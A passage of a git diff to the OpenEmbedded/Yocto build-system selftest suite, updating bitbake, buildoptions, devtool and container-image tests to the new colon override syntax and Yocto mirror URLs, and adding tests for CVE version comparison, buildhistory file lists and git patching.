+ self.assertCount(result.output, "This is shell stdout", 1)
+ self.assertCount(result.output, "This is shell stderr", 1)
+
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c shelltest -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c shelltest -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # two copies due to set +x
+ self.assertCount(result.output, "This is shell stdout", 2)
+ self.assertCount(result.output, "This is shell stderr", 2)
+
+ def test_python_exit_logging(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exit -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is python stdout", result.output)
+
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exit -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # A sys.exit() should include the output
+ self.assertCount(result.output, "This is python stdout", 1)
+
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_exit -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python stdout", 1)
+
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_exit -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python stdout", 1)
+
+ def test_python_fatal_logging(self):
+ # no logs, no verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_fatal -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ self.assertNotIn("This is python fatal test stdout", result.output)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
+ # logs, no verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_fatal -f", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # A bb.fatal() should not include the output
+ self.assertNotIn("This is python fatal test stdout", result.output)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
+ # no logs, verbose
+ self.write_config('BBINCLUDELOGS = ""')
+ result = bitbake("logging-test -c pythontest_fatal -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python fatal test stdout", 1)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
+ # logs, verbose
+ self.write_config('BBINCLUDELOGS = "yes"')
+ result = bitbake("logging-test -c pythontest_fatal -f -v", ignore_status = True)
+ self.assertIn("ERROR: Logfile of failure stored in:", result.output)
+ # python tasks don't log output with -v currently
+ #self.assertCount(result.output, "This is python fatal test stdout", 1)
+ self.assertCount(result.output, "This is a fatal error", 1)
+
diff --git a/meta/lib/oeqa/selftest/cases/bbtests.py b/meta/lib/oeqa/selftest/cases/bbtests.py
index 79390acc0d..246cb032bf 100644
--- a/meta/lib/oeqa/selftest/cases/bbtests.py
+++ b/meta/lib/oeqa/selftest/cases/bbtests.py
@@ -70,8 +70,8 @@ class BitbakeTests(OESelftestTestCase):
def test_invalid_patch(self):
# This patch should fail to apply.
- self.write_recipeinc('man-db', 'FILESEXTRAPATHS_prepend := "${THISDIR}/files:"\nSRC_URI += "file://0001-Test-patch-here.patch"')
- self.write_config("INHERIT_remove = \"report-error\"")
+ self.write_recipeinc('man-db', 'FILESEXTRAPATHS:prepend := "${THISDIR}/files:"\nSRC_URI += "file://0001-Test-patch-here.patch"')
+ self.write_config("INHERIT:remove = \"report-error\"")
result = bitbake('man-db -c patch', ignore_status=True)
self.delete_recipeinc('man-db')
bitbake('-cclean man-db')
@@ -83,8 +83,10 @@ class BitbakeTests(OESelftestTestCase):
def test_force_task_1(self):
# test 1 from bug 5875
+ import uuid
test_recipe = 'zlib'
- test_data = "Microsoft Made No Profit From Anyone's Zunes Yo"
+ # Need to use uuid otherwise hash equivlance would change the workflow
+ test_data = "Microsoft Made No Profit From Anyone's Zunes Yo %s" % uuid.uuid1()
bb_vars = get_bb_vars(['D', 'PKGDEST', 'mandir'], test_recipe)
image_dir = bb_vars['D']
pkgsplit_dir = bb_vars['PKGDEST']
@@ -139,7 +141,7 @@ class BitbakeTests(OESelftestTestCase):
self.write_recipeinc('man-db', data)
self.write_config("""DL_DIR = \"${TOPDIR}/download-selftest\"
SSTATE_DIR = \"${TOPDIR}/download-selftest\"
-INHERIT_remove = \"report-error\"
+INHERIT:remove = \"report-error\"
""")
self.track_for_cleanup(os.path.join(self.builddir, "download-selftest"))
@@ -149,9 +151,6 @@ INHERIT_remove = \"report-error\"
self.delete_recipeinc('man-db')
self.assertEqual(result.status, 1, msg="Command succeded when it should have failed. bitbake output: %s" % result.output)
self.assertIn('Fetcher failure: Unable to find file file://invalid anywhere. The paths that were searched were:', result.output)
- line = self.getline(result, 'Fetcher failure for URL: \'file://invalid\'. Unable to fetch URL from any source.')
- self.assertTrue(line and line.startswith("ERROR:"), msg = "\"invalid\" file \
-doesn't exist, yet fetcher didn't report any error. bitbake output: %s" % result.output)
def test_rename_downloaded_file(self):
# TODO unique dldir instead of using cleanall
@@ -161,7 +160,7 @@ SSTATE_DIR = \"${TOPDIR}/download-selftest\"
""")
self.track_for_cleanup(os.path.join(self.builddir, "download-selftest"))
- data = 'SRC_URI = "${GNU_MIRROR}/aspell/aspell-${PV}.tar.gz;downloadfilename=test-aspell.tar.gz"'
+ data = 'SRC_URI = "https://downloads.yoctoproject.org/mirror/sources/aspell-${PV}.tar.gz;downloadfilename=test-aspell.tar.gz"'
self.write_recipeinc('aspell', data)
result = bitbake('-f -c fetch aspell', ignore_status=True)
self.delete_recipeinc('aspell')
@@ -213,7 +212,7 @@ SSTATE_DIR = \"${TOPDIR}/download-selftest\"
def test_continue(self):
self.write_config("""DL_DIR = \"${TOPDIR}/download-selftest\"
SSTATE_DIR = \"${TOPDIR}/download-selftest\"
-INHERIT_remove = \"report-error\"
+INHERIT:remove = \"report-error\"
""")
self.track_for_cleanup(os.path.join(self.builddir, "download-selftest"))
self.write_recipeinc('man-db',"\ndo_fail_task () {\nexit 1 \n}\n\naddtask do_fail_task before do_fetch\n" )
@@ -298,3 +297,18 @@ INHERIT_remove = \"report-error\"
test_recipe_summary_after = get_bb_var('SUMMARY', test_recipe)
self.assertEqual(expected_recipe_summary, test_recipe_summary_after)
+
+ def test_git_patchtool(self):
+ """ PATCHTOOL=git should work with non-git sources like tarballs
+ test recipe for the test must NOT containt git:// repository in SRC_URI
+ """
+ test_recipe = "man-db"
+ self.write_recipeinc(test_recipe, 'PATCHTOOL=\"git\"')
+ src = get_bb_var("SRC_URI",test_recipe)
+ gitscm = re.search("git://", src)
+ self.assertFalse(gitscm, "test_git_patchtool pre-condition failed: {} test recipe contains git repo!".format(test_recipe))
+ result = bitbake('man-db -c patch', ignore_status=False)
+ fatal = re.search("fatal: not a git repository (or any of the parent directories)", result.output)
+ self.assertFalse(fatal, "Failed to patch using PATCHTOOL=\"git\"")
+ self.delete_recipeinc(test_recipe)
+ bitbake('-cclean man-db')
diff --git a/meta/lib/oeqa/selftest/cases/buildoptions.py b/meta/lib/oeqa/selftest/cases/buildoptions.py
index e91f0bd18f..651bb03c7e 100644
--- a/meta/lib/oeqa/selftest/cases/buildoptions.py
+++ b/meta/lib/oeqa/selftest/cases/buildoptions.py
@@ -38,34 +38,35 @@ class ImageOptionsTests(OESelftestTestCase):
p = bb_vars['SYSROOT_DESTDIR'] + bb_vars['bindir'] + "/" + "ccache"
self.assertTrue(os.path.isfile(p), msg = "No ccache found (%s)" % p)
self.write_config('INHERIT += "ccache"')
- self.add_command_to_tearDown('bitbake -c clean m4-native')
- bitbake("m4-native -c clean")
- bitbake("m4-native -f -c compile")
- log_compile = os.path.join(get_bb_var("WORKDIR","m4-native"), "temp/log.do_compile")
+ recipe = "libgcc-initial"
+ self.add_command_to_tearDown('bitbake -c clean %s' % recipe)
+ bitbake("%s -c clean" % recipe)
+ bitbake("%s -f -c compile" % recipe)
+ log_compile = os.path.join(get_bb_var("WORKDIR", recipe), "temp/log.do_compile")
with open(log_compile, "r") as f:
loglines = "".join(f.readlines())
- self.assertIn("ccache", loglines, msg="No match for ccache in m4-native log.do_compile. For further details: %s" % log_compile)
+ self.assertIn("ccache", loglines, msg="No match for ccache in %s log.do_compile. For further details: %s" % (recipe , log_compile))
def test_read_only_image(self):
distro_features = get_bb_var('DISTRO_FEATURES')
if not ('x11' in distro_features and 'opengl' in distro_features):
- self.skipTest('core-image-sato requires x11 and opengl in distro features')
+ self.skipTest('core-image-sato/weston requires x11 and opengl in distro features')
self.write_config('IMAGE_FEATURES += "read-only-rootfs"')
- bitbake("core-image-sato")
+ bitbake("core-image-sato core-image-weston")
# do_image will fail if there are any pending postinsts
class DiskMonTest(OESelftestTestCase):
def test_stoptask_behavior(self):
- self.write_config('BB_DISKMON_DIRS = "STOPTASKS,${TMPDIR},100000G,100K"')
+ self.write_config('BB_DISKMON_DIRS = "STOPTASKS,${TMPDIR},100000G,100K"\nBB_HEARTBEAT_EVENT = "1"')
res = bitbake("delay -c delay", ignore_status = True)
self.assertTrue('ERROR: No new tasks can be executed since the disk space monitor action is "STOPTASKS"!' in res.output, msg = "Tasks should have stopped. Disk monitor is set to STOPTASK: %s" % res.output)
self.assertEqual(res.status, 1, msg = "bitbake reported exit code %s. It should have been 1. Bitbake output: %s" % (str(res.status), res.output))
- self.write_config('BB_DISKMON_DIRS = "ABORT,${TMPDIR},100000G,100K"')
+ self.write_config('BB_DISKMON_DIRS = "ABORT,${TMPDIR},100000G,100K"\nBB_HEARTBEAT_EVENT = "1"')
res = bitbake("delay -c delay", ignore_status = True)
self.assertTrue('ERROR: Immediately abort since the disk space monitor action is "ABORT"!' in res.output, "Tasks should have been aborted immediatelly. Disk monitor is set to ABORT: %s" % res.output)
self.assertEqual(res.status, 1, msg = "bitbake reported exit code %s. It should have been 1. Bitbake output: %s" % (str(res.status), res.output))
- self.write_config('BB_DISKMON_DIRS = "WARN,${TMPDIR},100000G,100K"')
+ self.write_config('BB_DISKMON_DIRS = "WARN,${TMPDIR},100000G,100K"\nBB_HEARTBEAT_EVENT = "1"')
res = bitbake("delay -c delay")
self.assertTrue('WARNING: The free space' in res.output, msg = "A warning should have been displayed for disk monitor is set to WARN: %s" %res.output)
@@ -77,9 +78,9 @@ class SanityOptionsTest(OESelftestTestCase):
def test_options_warnqa_errorqa_switch(self):
- self.write_config("INHERIT_remove = \"report-error\"")
+ self.write_config("INHERIT:remove = \"report-error\"")
if "packages-list" not in get_bb_var("ERROR_QA"):
- self.append_config("ERROR_QA_append = \" packages-list\"")
+ self.append_config("ERROR_QA:append = \" packages-list\"")
self.write_recipeinc('xcursor-transparent-theme', 'PACKAGES += \"${PN}-dbg\"')
self.add_command_to_tearDown('bitbake -c clean xcursor-transparent-theme')
@@ -89,8 +90,8 @@ class SanityOptionsTest(OESelftestTestCase):
self.assertTrue(line and line.startswith("ERROR:"), msg=res.output)
self.assertEqual(res.status, 1, msg = "bitbake reported exit code %s. It should have been 1. Bitbake output: %s" % (str(res.status), res.output))
self.write_recipeinc('xcursor-transparent-theme', 'PACKAGES += \"${PN}-dbg\"')
- self.append_config('ERROR_QA_remove = "packages-list"')
- self.append_config('WARN_QA_append = " packages-list"')
+ self.append_config('ERROR_QA:remove = "packages-list"')
+ self.append_config('WARN_QA:append = " packages-list"')
res = bitbake("xcursor-transparent-theme -f -c package")
self.delete_recipeinc('xcursor-transparent-theme')
line = self.getline(res, "QA Issue: xcursor-transparent-theme-dbg is listed in PACKAGES multiple times, this leads to packaging errors.")
@@ -147,6 +148,30 @@ class BuildhistoryTests(BuildhistoryBase):
self.run_buildhistory_operation(target, target_config="PR = \"r1\"", change_bh_location=True)
self.run_buildhistory_operation(target, target_config="PR = \"r0\"", change_bh_location=False, expect_error=True, error_regex=error)
+ def test_fileinfo(self):
+ self.config_buildhistory()
+ bitbake('hicolor-icon-theme')
+ history_dir = get_bb_var('BUILDHISTORY_DIR_PACKAGE', 'hicolor-icon-theme')
+ self.assertTrue(os.path.isdir(history_dir), 'buildhistory dir was not created.')
+
+ def load_bh(f):
+ d = {}
+ for line in open(f):
+ split = [s.strip() for s in line.split('=', 1)]
+ if len(split) > 1:
+ d[split[0]] = split[1]
+ return d
+
+ data = load_bh(os.path.join(history_dir, 'hicolor-icon-theme', 'latest'))
+ self.assertIn('FILELIST', data)
+ self.assertEqual(data['FILELIST'], '/usr/share/icons/hicolor/index.theme')
+ self.assertGreater(int(data['PKGSIZE']), 0)
+
+ data = load_bh(os.path.join(history_dir, 'hicolor-icon-theme-dev', 'latest'))
+ if 'FILELIST' in data:
+ self.assertEqual(data['FILELIST'], '')
+ self.assertEqual(int(data['PKGSIZE']), 0)
+
class ArchiverTest(OESelftestTestCase):
def test_arch_work_dir_and_export_source(self):
"""
@@ -158,8 +183,8 @@ class ArchiverTest(OESelftestTestCase):
deploy_dir_src = get_bb_var('DEPLOY_DIR_SRC')
pkgs_path = g.glob(str(deploy_dir_src) + "/allarch*/xcurs*")
src_file_glob = str(pkgs_path[0]) + "/xcursor*.src.rpm"
- tar_file_glob = str(pkgs_path[0]) + "/xcursor*.tar.gz"
- self.assertTrue((g.glob(src_file_glob) and g.glob(tar_file_glob)), "Couldn't find .src.rpm and .tar.gz files under %s/allarch*/xcursor*" % deploy_dir_src)
+ tar_file_glob = str(pkgs_path[0]) + "/xcursor*.tar.xz"
+ self.assertTrue((g.glob(src_file_glob) and g.glob(tar_file_glob)), "Couldn't find .src.rpm and .tar.xz files under %s/allarch*/xcursor*" % deploy_dir_src)
class ToolchainOptions(OESelftestTestCase):
def test_toolchain_fortran(self):
@@ -167,7 +192,7 @@ class ToolchainOptions(OESelftestTestCase):
Test that Fortran works by building a Hello, World binary.
"""
- features = 'FORTRAN_forcevariable = ",fortran"\n'
+ features = 'FORTRAN:forcevariable = ",fortran"\n'
self.write_config(features)
bitbake('fortran-helloworld')
@@ -196,3 +221,9 @@ PREMIRRORS = "\\
bitbake("world --runall fetch")
+
+class Poisoning(OESelftestTestCase):
+ def test_poisoning(self):
+ res = bitbake("poison", ignore_status=True)
+ self.assertNotEqual(res.status, 0)
+ self.assertTrue("is unsafe for cross-compilation" in res.output)
diff --git a/meta/lib/oeqa/selftest/cases/containerimage.py b/meta/lib/oeqa/selftest/cases/containerimage.py
index 4ad7f0e654..3068c9ba26 100644
--- a/meta/lib/oeqa/selftest/cases/containerimage.py
+++ b/meta/lib/oeqa/selftest/cases/containerimage.py
@@ -22,7 +22,7 @@ from oeqa.utils.commands import bitbake, get_bb_vars, runCmd
#
class ContainerImageTests(OESelftestTestCase):
- # Verify that when specifying a IMAGE_TYPEDEP_ of the form "foo.bar" that
+ # Verify that when specifying a IMAGE_TYPEDEP: of the form "foo.bar" that
# the conversion type bar gets added as a dep as well
def test_expected_files(self):
@@ -43,7 +43,7 @@ PACKAGE_CLASSES = "package_ipk"
IMAGE_FEATURES = ""
IMAGE_BUILDINFO_FILE = ""
INIT_MANAGER = "sysvinit"
-IMAGE_INSTALL_remove = "ssh-pregen-hostkeys"
+IMAGE_INSTALL:remove = "ssh-pregen-hostkeys"
""")
@@ -60,11 +60,7 @@ IMAGE_INSTALL_remove = "ssh-pregen-hostkeys"
'.{sysconfdir}/version',
'./run/',
'.{localstatedir}/cache/',
- '.{localstatedir}/cache/ldconfig/',
- '.{localstatedir}/cache/ldconfig/aux-cache',
- '.{localstatedir}/cache/opkg/',
- '.{localstatedir}/lib/',
- '.{localstatedir}/lib/opkg/'
+ '.{localstatedir}/lib/'
]
expected_files = [ x.format(bindir=bbvars['bindir'],
diff --git a/meta/lib/oeqa/selftest/cases/cve_check.py b/meta/lib/oeqa/selftest/cases/cve_check.py
new file mode 100644
index 0000000000..d1947baffc
--- /dev/null
+++ b/meta/lib/oeqa/selftest/cases/cve_check.py
@@ -0,0 +1,44 @@
+from oe.cve_check import Version
+from oeqa.selftest.case import OESelftestTestCase
+
+class CVECheck(OESelftestTestCase):
+
+ def test_version_compare(self):
+ result = Version("100") > Version("99")
+ self.assertTrue( result, msg="Failed to compare version '100' > '99'")
+ result = Version("2.3.1") > Version("2.2.3")
+ self.assertTrue( result, msg="Failed to compare version '2.3.1' > '2.2.3'")
+ result = Version("2021-01-21") > Version("2020-12-25")
+ self.assertTrue( result, msg="Failed to compare version '2021-01-21' > '2020-12-25'")
+ result = Version("1.2-20200910") < Version("1.2-20200920")
+ self.assertTrue( result, msg="Failed to compare version '1.2-20200910' < '1.2-20200920'")
+
+ result = Version("1.0") >= Version("1.0beta")
+ self.assertTrue( result, msg="Failed to compare version '1.0' >= '1.0beta'")
+ result = Version("1.0-rc2") > Version("1.0-rc1")
+ self.assertTrue( result, msg="Failed to compare version '1.0-rc2' > '1.0-rc1'")
+ result = Version("1.0.alpha1") < Version("1.0")
+ self.assertTrue( result, msg="Failed to compare version '1.0.alpha1' < '1.0'")
+ result = Version("1.0_dev") <= Version("1.0")
+ self.assertTrue( result, msg="Failed to compare version '1.0_dev' <= '1.0'")
+
+ # ignore "p1" and "p2", so these should be equal
+ result = Version("1.0p2") == Version("1.0p1")
+ self.assertTrue( result ,msg="Failed to compare version '1.0p2' to '1.0p1'")
+ # ignore the "b" and "r"
+ result = Version("1.0b") == Version("1.0r")
+ self.assertTrue( result ,msg="Failed to compare version '1.0b' to '1.0r'")
+
+ # consider the trailing alphabet as patched level when comparing
+ result = Version("1.0b","alphabetical") < Version("1.0r","alphabetical")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0b' < '1.0r'")
+ result = Version("1.0b","alphabetical") > Version("1.0","alphabetical")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0b' > '1.0'")
+
+ # consider the trailing "p" and "patch" as patched released when comparing
+ result = Version("1.0","patch") < Version("1.0p1","patch")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0' < '1.0p1'")
+ result = Version("1.0p2","patch") > Version("1.0p1","patch")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0p2' > '1.0p1'")
+ result = Version("1.0_patch2","patch") < Version("1.0_patch3","patch")
+ self.assertTrue( result ,msg="Failed to compare version with suffix '1.0_patch2' < '1.0_patch3'")
diff --git a/meta/lib/oeqa/selftest/cases/devtool.py b/meta/lib/oeqa/selftest/cases/devtool.py
index d3d2e04c20..23d55903fb 100644
--- a/meta/lib/oeqa/selftest/cases/devtool.py
+++ b/meta/lib/oeqa/selftest/cases/devtool.py
@@ -57,7 +57,7 @@ def setUpModule():
if relpth.endswith('/'):
destdir = os.path.join(corecopydir, relpth)
# avoid race condition by not copying .pyc files YPBZ#13421,13803
- shutil.copytree(pth, destdir, ignore=ignore_patterns('*.pyc', '__pycache__'))
+ shutil.copytree(pth, destdir, ignore=shutil.ignore_patterns('*.pyc', '__pycache__'))
else:
destdir = os.path.join(corecopydir, os.path.dirname(relpth))
bb.utils.mkdirhier(destdir)
@@ -80,32 +80,15 @@ def tearDownModule():
bb.utils.edit_bblayers_conf(bblayers_conf, None, None, bblayers_edit_cb)
shutil.rmtree(templayerdir)
-class DevtoolBase(OESelftestTestCase):
-
- @classmethod
- def setUpClass(cls):
- super(DevtoolBase, cls).setUpClass()
- bb_vars = get_bb_vars(['TOPDIR', 'SSTATE_DIR'])
- cls.original_sstate = bb_vars['SSTATE_DIR']
- cls.devtool_sstate = os.path.join(bb_vars['TOPDIR'], 'sstate_devtool')
- cls.sstate_conf = 'SSTATE_DIR = "%s"\n' % cls.devtool_sstate
- cls.sstate_conf += ('SSTATE_MIRRORS += "file://.* file:///%s/PATH"\n'
- % cls.original_sstate)
-
- @classmethod
- def tearDownClass(cls):
- cls.logger.debug('Deleting devtool sstate cache on %s' % cls.devtool_sstate)
- runCmd('rm -rf %s' % cls.devtool_sstate)
- super(DevtoolBase, cls).tearDownClass()
+class DevtoolTestCase(OESelftestTestCase):
def setUp(self):
"""Test case setup function"""
- super(DevtoolBase, self).setUp()
+ super(DevtoolTestCase, self).setUp()
self.workspacedir = os.path.join(self.builddir, 'workspace')
self.assertTrue(not os.path.exists(self.workspacedir),
'This test cannot be run with a workspace directory '
'under the build directory')
- self.append_config(self.sstate_conf)
def _check_src_repo(self, repo_dir):
"""Check srctree git repository"""
@@ -236,6 +219,30 @@ class DevtoolBase(OESelftestTestCase):
return filelist
+class DevtoolBase(DevtoolTestCase):
+
+ @classmethod
+ def setUpClass(cls):
+ super(DevtoolBase, cls).setUpClass()
+ bb_vars = get_bb_vars(['TOPDIR', 'SSTATE_DIR'])
+ cls.original_sstate = bb_vars['SSTATE_DIR']
+ cls.devtool_sstate = os.path.join(bb_vars['TOPDIR'], 'sstate_devtool')
+ cls.sstate_conf = 'SSTATE_DIR = "%s"\n' % cls.devtool_sstate
+ cls.sstate_conf += ('SSTATE_MIRRORS += "file://.* file:///%s/PATH"\n'
+ % cls.original_sstate)
+
+ @classmethod
+ def tearDownClass(cls):
+ cls.logger.debug('Deleting devtool sstate cache on %s' % cls.devtool_sstate)
+ runCmd('rm -rf %s' % cls.devtool_sstate)
+ super(DevtoolBase, cls).tearDownClass()
+
+ def setUp(self):
+ """Test case setup function"""
+ super(DevtoolBase, self).setUp()
+ self.append_config(self.sstate_conf)
+
+
class DevtoolTests(DevtoolBase):
def test_create_workspace(self):
@@ -269,7 +276,7 @@ class DevtoolAddTests(DevtoolBase):
self.track_for_cleanup(tempdir)
pn = 'pv'
pv = '1.5.3'
- url = 'http://www.ivarch.com/programs/sources/pv-1.5.3.tar.bz2'
+ url = 'http://downloads.yoctoproject.org/mirror/sources/pv-1.5.3.tar.bz2'
result = runCmd('wget %s' % url, cwd=tempdir)
result = runCmd('tar xfv %s' % os.path.basename(url), cwd=tempdir)
srcdir = os.path.join(tempdir, '%s-%s' % (pn, pv))
@@ -340,7 +347,7 @@ class DevtoolAddTests(DevtoolBase):
checkvars['LIC_FILES_CHKSUM'] = 'file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263'
checkvars['S'] = '${WORKDIR}/git'
checkvars['PV'] = '0.1+git${SRCPV}'
- checkvars['SRC_URI'] = 'git://git.yoctoproject.org/git/dbus-wait;protocol=https'
+ checkvars['SRC_URI'] = 'git://git.yoctoproject.org/git/dbus-wait;protocol=https;branch=master'
checkvars['SRCREV'] = srcrev
checkvars['DEPENDS'] = set(['dbus'])
self._test_recipe_contents(recipefile, checkvars, [])
@@ -373,7 +380,7 @@ class DevtoolAddTests(DevtoolBase):
recipefile = '%s/recipes/libftdi/libftdi_%s.bb' % (self.workspacedir, version)
result = runCmd('recipetool setvar %s EXTRA_OECMAKE -- \'-DPYTHON_BINDINGS=OFF -DLIBFTDI_CMAKE_CONFIG_DIR=${datadir}/cmake/Modules\'' % recipefile)
with open(recipefile, 'a') as f:
- f.write('\nFILES_${PN}-dev += "${datadir}/cmake/Modules"\n')
+ f.write('\nFILES:${PN}-dev += "${datadir}/cmake/Modules"\n')
# We don't have the ability to pick up this dependency automatically yet...
f.write('\nDEPENDS += "libusb1"\n')
f.write('\nTESTLIBOUTPUT = "${COMPONENTS_DIR}/${TUNE_PKGARCH}/${PN}/${libdir}"\n')
@@ -442,6 +449,7 @@ class DevtoolAddTests(DevtoolBase):
tempdir = tempfile.mkdtemp(prefix='devtoolqa')
self.track_for_cleanup(tempdir)
url = 'gitsm://git.yoctoproject.org/mraa'
+ url_branch = '%s;branch=master' % url
checkrev = 'ae127b19a50aa54255e4330ccfdd9a5d058e581d'
testrecipe = 'mraa'
srcdir = os.path.join(tempdir, testrecipe)
@@ -462,7 +470,7 @@ class DevtoolAddTests(DevtoolBase):
checkvars = {}
checkvars['S'] = '${WORKDIR}/git'
checkvars['PV'] = '1.0+git${SRCPV}'
- checkvars['SRC_URI'] = url
+ checkvars['SRC_URI'] = url_branch
checkvars['SRCREV'] = '${AUTOREV}'
self._test_recipe_contents(recipefile, checkvars, [])
# Try with revision and version specified
@@ -481,7 +489,7 @@ class DevtoolAddTests(DevtoolBase):
checkvars = {}
checkvars['S'] = '${WORKDIR}/git'
checkvars['PV'] = '1.5+git${SRCPV}'
- checkvars['SRC_URI'] = url
+ checkvars['SRC_URI'] = url_branch
checkvars['SRCREV'] = checkrev
self._test_recipe_contents(recipefile, checkvars, [])
@@ -649,7 +657,7 @@ class DevtoolModifyTests(DevtoolBase):
self.track_for_cleanup(self.workspacedir)
self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
- testrecipes = 'perf kernel-devsrc package-index core-image-minimal meta-toolchain packagegroup-core-sdk meta-ide-support'.split()
+ testrecipes = 'perf kernel-devsrc package-index core-image-minimal meta-toolchain packagegroup-core-sdk'.split()
# Find actual name of gcc-source since it now includes the version - crude, but good enough for this purpose
result = runCmd('bitbake-layers show-recipes gcc-source*')
for line in result.output.splitlines():
@@ -697,7 +705,44 @@ class DevtoolModifyTests(DevtoolBase):
self.assertTrue(bbclassextended, 'None of these recipes are BBCLASSEXTENDed to native - need to adjust testrecipes list: %s' % ', '.join(testrecipes))
self.assertTrue(inheritnative, 'None of these recipes do "inherit native" - need to adjust testrecipes list: %s' % ', '.join(testrecipes))
+ def test_devtool_modify_localfiles_only(self):
+ # Check preconditions
+ testrecipe = 'base-files'
+ src_uri = (get_bb_var('SRC_URI', testrecipe) or '').split()
+ foundlocalonly = False
+ correct_symlink = False
+ for item in src_uri:
+ if item.startswith('file://'):
+ if '.patch' not in item:
+ foundlocalonly = True
+ else:
+ foundlocalonly = False
+ break
+ self.assertTrue(foundlocalonly, 'This test expects the %s recipe to fetch local files only and it seems that it no longer does' % testrecipe)
+ # Clean up anything in the workdir/sysroot/sstate cache
+ bitbake('%s -c cleansstate' % testrecipe)
+ # Try modifying a recipe
+ tempdir = tempfile.mkdtemp(prefix='devtoolqa')
+ self.track_for_cleanup(tempdir)
+ self.track_for_cleanup(self.workspacedir)
+ self.add_command_to_tearDown('bitbake -c clean %s' % testrecipe)
+ self.add_command_to_tearDown('bitbake-layers remove-layer */workspace')
+ result = runCmd('devtool modify %s -x %s' % (testrecipe, tempdir))
+ srcfile = os.path.join(tempdir, 'oe-local-files/share/dot.bashrc')
+ srclink = os.path.join(tempdir, 'share/dot.bashrc')
+ self.assertExists(srcfile, 'Extracted source could not be found')
+ if os.path.islink(srclink) and os.path.exists(srclink) and os.path.samefile(srcfile, srclink):
+ correct_symlink = True
+ self.assertTrue(correct_symlink, 'Source symlink to oe-local-files is broken')
+ matches = glob.glob(os.path.join(self.workspacedir, 'appends', '%s_*.bbappend' % testrecipe))
+ self.assertTrue(matches, 'bbappend not created')
+ # Test devtool status
+ result = runCmd('devtool status')
+ self.assertIn(testrecipe, result.output)
+ self.assertIn(tempdir, result.output)
+ # Try building
+ bitbake(testrecipe)
def test_devtool_modify_git(self):
# Check preconditions
@@ -867,7 +912,7 @@ class DevtoolUpdateTests(DevtoolBase):
self._check_repo_status(os.path.dirname(recipefile), expected_status)
result = runCmd('git diff %s' % os.path.basename(recipefile), cwd=os.path.dirname(recipefile))
- addlines = ['SRCREV = ".*"', 'SRC_URI = "git://git.infradead.org/mtd-utils.git"']
+ addlines = ['SRCREV = ".*"', 'SRC_URI = "git://git.infradead.org/mtd-utils.git;branch=master"']
srcurilines = src_uri.split()
srcurilines[0] = 'SRC_URI = "' + srcurilines[0]
srcurilines.append('"')
@@ -938,7 +983,7 @@ class DevtoolUpdateTests(DevtoolBase):
self.assertExists(patchfile, 'Patch file not created')
# Check bbappend contents
- expectedlines = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n',
'SRC_URI += "file://0001-Add-our-custom-version.patch"\n',
'\n']
@@ -953,7 +998,7 @@ class DevtoolUpdateTests(DevtoolBase):
result = runCmd('git reset HEAD^', cwd=tempsrcdir)
result = runCmd('devtool update-recipe %s -a %s' % (testrecipe, templayerdir))
self.assertNotExists(patchfile, 'Patch file not deleted')
- expectedlines2 = ['FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n',
+ expectedlines2 = ['FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n',
'\n']
with open(bbappendfile, 'r') as f:
self.assertEqual(expectedlines2, f.readlines())
diff --git a/meta/lib/oeqa/selftest/cases/distrodata.py b/meta/lib/oeqa/selftest/cases/distrodata.py
index e1cfc3b621..908979804a 100644
--- a/meta/lib/oeqa/selftest/cases/distrodata.py
+++ b/meta/lib/oeqa/selftest/cases/distrodata.py
@@ -40,6 +40,42 @@ but their recipes claim otherwise by setting UPSTREAM_VERSION_UNKNOWN. Please re
""" + "\n".join(regressed_successes)
self.assertTrue(len(regressed_failures) == 0 and len(regressed_successes) == 0, msg)
+ def test_missing_homepg(self):
+ """
+ Summary: Test for oe-core recipes that don't have a HOMEPAGE or DESCRIPTION
+ Expected: All oe-core recipes should have a DESCRIPTION entry
+ Expected: All oe-core recipes should have a HOMEPAGE entry except for recipes that are not fetched from external sources.
+ Product: oe-core
+ """
+ with bb.tinfoil.Tinfoil() as tinfoil:
+ tinfoil.prepare(config_only=False)
+ no_description = []
+ no_homepage = []
